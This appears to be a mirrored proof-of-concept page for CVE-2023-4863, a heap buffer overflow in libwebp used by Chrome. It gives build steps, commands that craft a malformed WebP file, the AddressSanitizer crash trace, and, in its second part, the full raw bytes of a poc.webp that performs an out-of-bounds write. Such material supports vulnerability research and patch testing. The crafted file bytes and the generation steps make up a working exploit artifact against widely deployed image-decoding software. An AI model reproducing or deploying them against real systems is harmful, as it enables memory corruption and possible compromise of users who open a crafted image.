CVE-2023-4863 PoC — Google Chrome 缓冲区错误漏洞

Source

https://github.com/huiwen-yayaya/CVE-2023-4863

Associated Vulnerability

Title: Google Chrome 缓冲区错误漏洞 (CVE-2023-4863)
Description:Heap buffer overflow in libwebp in Google Chrome prior to 116.0.5845.187 and libwebp 1.3.2 allowed a remote attacker to perform an out of bounds memory write via a crafted HTML page. (Chromium security severity: Critical)

Readme

# level 1: craft.c -> bad.webp
```bash
# exist: docker 813b6b757038 /webp
cd CVE-2023-4863
make -f makefile.unix -B
# fatal error: jpeglib.h: No such file or directory
apt-get update
apt-get install libjpeg-dev
# fatal error: png.h: No such file or directory
apt-get install libpng-dev
# fatal error: tiffio.h: No such file or directory
apt-get install libtiff-dev
# try again
make -f makefile.unix -B

cd examples
gcc -o craft craft.c
./craft bad.webp
./dwebp bad.webp -o test.png

# result: 
=================================================================
==983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x626000002f28 at pc 0x555c7a907cba bp 0x7ffe40ab5ed0 sp 0x7ffe40ab5ec0
WRITE of size 1 at 0x626000002f28 thread T0
    #0 0x555c7a907cb9 in BuildHuffmanTable (/webp_test1/examples/dwebp+0xa1cb9)
    #1 0x555c7a908047 in VP8LBuildHuffmanTable (/webp_test1/examples/dwebp+0xa2047)
    #2 0x555c7a89cfd7 in ReadHuffmanCode (/webp_test1/examples/dwebp+0x36fd7)
    #3 0x555c7a8a1a39 in DecodeImageStream (/webp_test1/examples/dwebp+0x3ba39)
    #4 0x555c7a8a58be in VP8LDecodeHeader (/webp_test1/examples/dwebp+0x3f8be)
    #5 0x555c7a8a775b in DecodeInto (/webp_test1/examples/dwebp+0x4175b)
    #6 0x555c7a8aa517 in WebPDecode (/webp_test1/examples/dwebp+0x44517)
    #7 0x555c7a875ef1 in main (/webp_test1/examples/dwebp+0xfef1)
    #8 0x7f40a58afd8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
    #9 0x7f40a58afe3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f)
    #10 0x555c7a877ee4 in _start (/webp_test1/examples/dwebp+0x11ee4)

0x626000002f28 is located 0 bytes to the right of 11816-byte region [0x626000000100,0x626000002f28)
allocated by thread T0 here:
    #0 0x7f40a5ca1887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x555c7a8a1868 in DecodeImageStream (/webp_test1/examples/dwebp+0x3b868)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/webp_test1/examples/dwebp+0xa1cb9) in BuildHuffmanTable
Shadow bytes around the buggy address:
  0x0c4c7fff8590: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c4c7fff85d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c4c7fff85e0: 00 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff85f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c4c7fff8630: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==983==ABORTING
```
reference: \
https://blog.isosceles.com/the-webp-0day/

# level 2: poc.py -> poc.webp
write 4-byte data
```bash
cd ./examples
python poc.py

# result: print poc.webp
bytearray(b'RIFFz\x02\x00\x00WEBPVP8Lm\x02\x00\x00/\x00\x00\x00\x10\x1a\x0f\x82$\t\x92$I\x12DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDffffffffffffffffffV\xcf\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xee\xdd\x9d\x07A\x92\x04I\x92$\t0"""""""""""""""""""""""""""""""""2333333333333333333333333333333333333333333333333333333333\xb3zvwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\xf7\xce\x83 I\x82$I\x92\x04\x18\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99Y=\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb{\xe7A\x90$A\x92$I\x02\x8c\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\x88\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xac\x9e\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xbd\xf3 H\x92 I\x92$EV\xcf\xde\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x01')
```
reference: \
https://www.darknavy.org/blog/exploiting_the_libwebp_vulnerability_part_1/

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →